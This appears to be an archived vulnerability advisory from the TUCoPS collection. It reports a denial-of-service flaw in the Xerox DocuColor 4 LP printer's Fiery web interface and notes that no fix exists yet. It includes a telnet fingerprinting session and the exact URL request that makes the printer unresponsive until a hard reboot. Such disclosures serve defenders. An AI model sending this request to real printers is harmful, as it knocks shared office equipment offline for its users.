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TUCoPS :: Network Appliances :: xeroxdc4.htm

Xerox Docucolor 4 Laser Printer DoS



Vulnerability

    Xerox DocuColor 4 LP

Affected

    Xerox DocuColor 4 LP

Description

    Jason Lutz  found following.   He found  several bugs  with  XEROX
    network printers/copiers.  The first is the DocuColor 4 LP  Denial
    of Service  attack.   This attack  can cease  the XEROX printer to
    become completely  unresponsive to  pings and  will not  allow any
    thing to be printed  unless you give it  a hard reboot.   Worst of
    all you can do  this from any workstation  that has access to  the
    Fiery web based tools.  This can give your local XEROX guys fits.

        [root@ns2 whis]# telnet x.x.x.x 80
        Trying x.x.x.x ...
        Connected to x.x.x.x
        Escape character is '^]'.
        GET / HTTP/1.0

        HTTP/1.0 200 OK
        Date: THU, 01 JAN 1970  GMT
        Server: Apache/1.0.3
        Content-type: text/html

        [root@ns2 whis]# Connection closed by foreign host.

    Great now  here's the  D.O.S HTTP://DocuColor/around2000dots/  and
    the printer will have to be reset if you want to use it.

Solution

    Nothing yet.


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